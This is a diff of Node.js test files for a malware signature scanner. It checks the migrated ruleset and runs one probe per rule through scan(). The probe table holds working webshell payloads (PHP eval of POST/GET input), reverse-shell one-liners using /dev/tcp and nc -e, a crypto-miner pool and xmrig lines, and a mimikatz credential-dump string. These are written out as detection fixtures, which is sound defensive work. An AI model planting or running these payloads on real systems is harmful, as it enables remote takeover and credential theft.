// compiled pattern's source and flags, so byte-fidelity is ITS job and is
|
||||||
|
// not re-asserted here. That anchor REPLACES the `knowledge/signatures.json`
|
||||||
|
// file pin the swap retires, and it is strictly stronger: the pin covered
|
||||||
|
// the bytes on disk, the walk covers what `new RegExp` actually made of
|
||||||
|
// them.
|
||||||
|
// - tests/scanners/signature-scanner.test.mjs drives every rule through the
|
||||||
|
// real `scan()` entry point, so BEHAVIOUR is its job.
|
||||||
|
// - Left over, and asserted here: that the ruleset came from commons at all,
|
||||||
|
// that the engine's unconditional case-insensitivity survived the move, and
|
||||||
|
// that a corrupt or missing commons degrades instead of throwing.
|
||||||
|
//
|
||||||
|
// The loud half matters for the same reason it did for the other four tables:
|
||||||
|
// an empty ruleset means the SIG scanner returns status `ok` with zero findings
|
||||||
|
// for every file it is handed — a malware gate reporting success without
|
||||||
|
// running, which is the v7.8.2 defect class.
|
||||||
|
|
||||||
|
import { describe, it } from 'node:test';
|
||||||
|
import assert from 'node:assert/strict';
|
||||||
|
import {
|
||||||
|
buildSignatureRules,
|
||||||
|
compileRules,
|
||||||
|
SIGNATURE_RULES,
|
||||||
|
} from '../../scanners/lib/malware-signatures.mjs';
|
||||||
|
|
||||||
|
const MALFORMED_ROOT = new URL(
|
||||||
|
'../fixtures/commons-malformed-signatures/',
|
||||||
|
import.meta.url,
|
||||||
|
).pathname;
|
||||||
|
|
||||||
|
// The identity of the table, spelled out independently of the JSON the module
|
||||||
|
// reads. Comparing the module against its own source file would be tautological
|
||||||
|
// — it would pass just as well if both sides were empty.
|
||||||
|
const EXPECTED = [
|
||||||
|
['SIG-WEBSHELL-001', 'webshell', 'critical'],
|
||||||
|
['SIG-WEBSHELL-002', 'webshell', 'high'],
|
||||||
|
['SIG-REVSHELL-001', 'reverse_shell', 'critical'],
|
||||||
|
['SIG-REVSHELL-002', 'reverse_shell', 'critical'],
|
||||||
|
['SIG-MINER-001', 'cryptominer', 'high'],
|
||||||
|
['SIG-MINER-002', 'cryptominer', 'high'],
|
||||||
|
['SIG-HACKTOOL-001', 'hacktool', 'high'],
|
||||||
|
];
|
||||||
|
|
||||||
|
describe('malware-signatures (commons known-bad-identity ruleset)', () => {
|
||||||
|
describe('positive load through the real default commons root', () => {
|
||||||
|
it('publishes the ruleset at its declared size', () => {
|
||||||
|
// A count that drifts means either commons changed the table or the
|
||||||
|
// vendored copy is partial; both must be looked at, not adjusted away.
|
||||||
|
assert.equal(
|
||||||
|
SIGNATURE_RULES.length, 7,
|
||||||
|
'SIGNATURE_RULES lost rules — is scanners/commons vendored?',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('publishes every rule in the declared order, with its family and severity', () => {
|
||||||
|
assert.deepEqual(
|
||||||
|
SIGNATURE_RULES.map((r) => [r.id, r.family, r.severity]),
|
||||||
|
EXPECTED,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('publishes compiled RegExp objects, not pattern strings', () => {
|
||||||
|
// The scanner calls `rule.re.test(text)` directly. A string would throw
|
||||||
|
// there, not here, and only once a file's content reached that line.
|
||||||
|
for (const rule of SIGNATURE_RULES) {
|
||||||
|
assert.ok(rule.re instanceof RegExp, `${rule.id}: re is not a RegExp`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('compiles every pattern case-insensitively, as the artifact declares', () => {
|
||||||
|
// `i` is engine behaviour applied to the whole table, not per-rule data:
|
||||||
|
// the artifact carries no `flags` field at all. A builder that dropped
|
||||||
|
// the flag would still pass the count and ordering checks above while
|
||||||
|
// silently under-matching all seven rules.
|
||||||
|
for (const rule of SIGNATURE_RULES) {
|
||||||
|
assert.equal(rule.re.flags, 'i', `${rule.id}: expected the unconditional 'i' flag`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('carries a description and a provenance for every rule', () => {
|
||||||
|
for (const rule of SIGNATURE_RULES) {
|
||||||
|
assert.equal(typeof rule.description, 'string', `${rule.id}: no description`);
|
||||||
|
assert.ok(rule.description.length > 0, `${rule.id}: empty description`);
|
||||||
|
assert.equal(typeof rule.provenance, 'string', `${rule.id}: no provenance`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('freezes the published ruleset', () => {
|
||||||
|
assert.ok(Object.isFrozen(SIGNATURE_RULES));
|
||||||
|
assert.throws(() => { SIGNATURE_RULES.push({ id: 'x', re: /x/ }); }, TypeError);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('graceful degradation', () => {
|
||||||
|
it('yields an empty ruleset when commons is unresolvable, without throwing', () => {
|
||||||
|
const rules = buildSignatureRules({ commonsRoot: '/nonexistent/commons-root' });
|
||||||
|
assert.deepEqual(rules, []);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('drops malformed rules instead of publishing them', () => {
|
||||||
|
// commons is vendored data, not code. An uncompilable pattern string
|
||||||
|
// would throw inside `new RegExp` at module load — for a scanner that is
|
||||||
|
// an aborted run rather than a degraded one.
|
||||||
|
const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
|
||||||
|
assert.deepEqual(rules.map((r) => r.id), ['FIX-OK-001', 'FIX-DEFAULTS-001']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('applies the loader defaults to a rule carrying only id and pattern', () => {
|
||||||
|
// The artifact records these defaults under `missing-field-defaults` as
|
||||||
|
// loader tolerance, not as an optional-field contract. They are asserted
|
||||||
|
// so a swap cannot quietly change what an under-specified rule becomes.
|
||||||
|
const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
|
||||||
|
const defaulted = rules.find((r) => r.id === 'FIX-DEFAULTS-001');
|
||||||
|
assert.equal(defaulted.family, 'unknown');
|
||||||
|
assert.equal(defaulted.severity, 'high');
|
||||||
|
assert.equal(defaulted.description, 'FIX-DEFAULTS-001');
|
||||||
|
assert.equal(defaulted.provenance, null);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('preserves every field of the well-formed rule beside a malformed one', () => {
|
||||||
|
const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
|
||||||
|
const ok = rules.find((r) => r.id === 'FIX-OK-001');
|
||||||
|
assert.equal(ok.family, 'webshell');
|
||||||
|
assert.equal(ok.severity, 'critical');
|
||||||
|
assert.equal(ok.re.source, 'fixture-shape-a');
|
||||||
|
assert.equal(ok.re.flags, 'i');
|
||||||
|
assert.equal(ok.provenance, 'fixture');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('compileRules (shared with the operator custom-rules path)', () => {
|
||||||
|
// Exported so the built-in ruleset and `sig.custom_rules_path` keep ONE
|
||||||
|
// implementation. Two copies of this defaulting logic would drift, and the
|
||||||
|
// custom path is the one an operator can get wrong.
|
||||||
|
it('drops rules lacking an id or a pattern', () => {
|
||||||
|
const compiled = compileRules({
|
||||||
|
rules: [
|
||||||
|
{ id: 'A', pattern: 'a' },
|
||||||
|
{ pattern: 'no-id' },
|
||||||
|
{ id: 'no-pattern' },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
assert.deepEqual(compiled.map((r) => r.id), ['A']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns an empty array for a ruleset with no rules array', () => {
|
||||||
|
assert.deepEqual(compileRules({}), []);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -8,7 +8,7 @@ import { describe, it, beforeEach } from 'node:test';
|
||||||
import assert from 'node:assert/strict';
|
import assert from 'node:assert/strict';
|
||||||
import { resolve, join } from 'node:path';
|
import { resolve, join } from 'node:path';
|
||||||
import { fileURLToPath } from 'node:url';
|
import { fileURLToPath } from 'node:url';
|
||||||
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
|
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
|
||||||
import { tmpdir } from 'node:os';
|
import { tmpdir } from 'node:os';
|
||||||
import { resetCounter } from '../../scanners/lib/output.mjs';
|
import { resetCounter } from '../../scanners/lib/output.mjs';
|
||||||
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
|
||||||
|
|
@ -286,3 +286,90 @@ describe('signature-scanner: family disable', () => {
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Provenance + probe coverage — v8 Phase 5 step 4, fifth consumer swap
|
||||||
|
//
|
||||||
|
// The ruleset moved from knowledge/signatures.json to the vendored commons
|
||||||
|
// artifact signatures/malware-signatures.json. Two things are asserted here
|
||||||
|
// that neither the golden gate nor tests/lib/malware-signatures.test.mjs can
|
||||||
|
// see:
|
||||||
|
//
|
||||||
|
// 1. That the move actually happened, measured through the real entry point
|
||||||
|
// rather than by reading the scanner's import list. The old file is gone,
|
||||||
|
// so a scanner still finding webshells can only be reading commons.
|
||||||
|
// 2. That every rule commons publishes is exercised end-to-end. Coverage by
|
||||||
|
// CONSTRUCTION, not by memory: the probe table is asserted against the
|
||||||
|
// LOADED ruleset, so a rule commons adds cannot arrive without a probe,
|
||||||
|
// and a probe cannot rot against a rule that was removed.
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe('signature-scanner: ruleset provenance', () => {
|
||||||
|
it('no longer ships knowledge/signatures.json', () => {
|
||||||
|
const retired = resolve(__dirname, '../../knowledge/signatures.json');
|
||||||
|
assert.equal(
|
||||||
|
existsSync(retired), false,
|
||||||
|
'knowledge/signatures.json is back — two sources for one table is the drift the swap removed',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('still flags a webshell with the old ruleset file gone', async () => {
|
||||||
|
// The independent anchor. Comparing the scanner against the JSON it reads
|
||||||
|
// would be tautological; this cannot pass unless commons resolved.
|
||||||
|
const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
|
||||||
|
try {
|
||||||
|
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(dir);
|
||||||
|
const result = await scan(dir, discovery);
|
||||||
|
assert.ok(
|
||||||
|
result.findings.some(f => /SIG-WEBSHELL-001/.test(f.evidence || '')),
|
||||||
|
`expected SIG-WEBSHELL-001 from the commons ruleset, got: ${result.findings.map(f => f.evidence).join('; ')}`,
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('signature-scanner: every published rule fires end-to-end', () => {
|
||||||
|
// One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
|
||||||
|
// path segments; the payloads are the shapes each rule is named for.
|
||||||
|
const PROBES = {
|
||||||
|
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
|
||||||
|
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
|
||||||
|
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
|
||||||
|
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
|
||||||
|
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
|
||||||
|
'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
|
||||||
|
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
|
||||||
|
};
|
||||||
|
|
||||||
|
it('has a probe for every rule the commons ruleset publishes', async () => {
|
||||||
|
// Without this, a rule added upstream would arrive with no end-to-end
|
||||||
|
// coverage and the suite would stay green about it.
|
||||||
|
const { SIGNATURE_RULES } = await import('../../scanners/lib/malware-signatures.mjs');
|
||||||
|
assert.deepEqual(
|
||||||
|
SIGNATURE_RULES.map(r => r.id).sort(),
|
||||||
|
Object.keys(PROBES).sort(),
|
||||||
|
'probe table and published ruleset have diverged',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags each probe through the real scan() entry point', async () => {
|
||||||
|
const dir = mkdtempSync(join(tmpdir(), 'sig-probes-'));
|
||||||
|
try {
|
||||||
|
for (const [file, content] of Object.values(PROBES)) {
|
||||||
|
writeFileSync(join(dir, file), content);
|
||||||
|
}
|
||||||
|
resetCounter();
|
||||||
|
const discovery = await discoverFiles(dir);
|
||||||
|
const result = await scan(dir, discovery);
|
||||||
|
const evidence = result.findings.map(f => f.evidence || '').join('\n');
|
||||||
|
const missed = Object.keys(PROBES).filter(id => !new RegExp(id).test(evidence));
|
||||||
|
assert.deepEqual(missed, [], `rules with no end-to-end hit: ${missed.join(', ')}`);
|
||||||
|
} finally {
|
||||||
|
rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue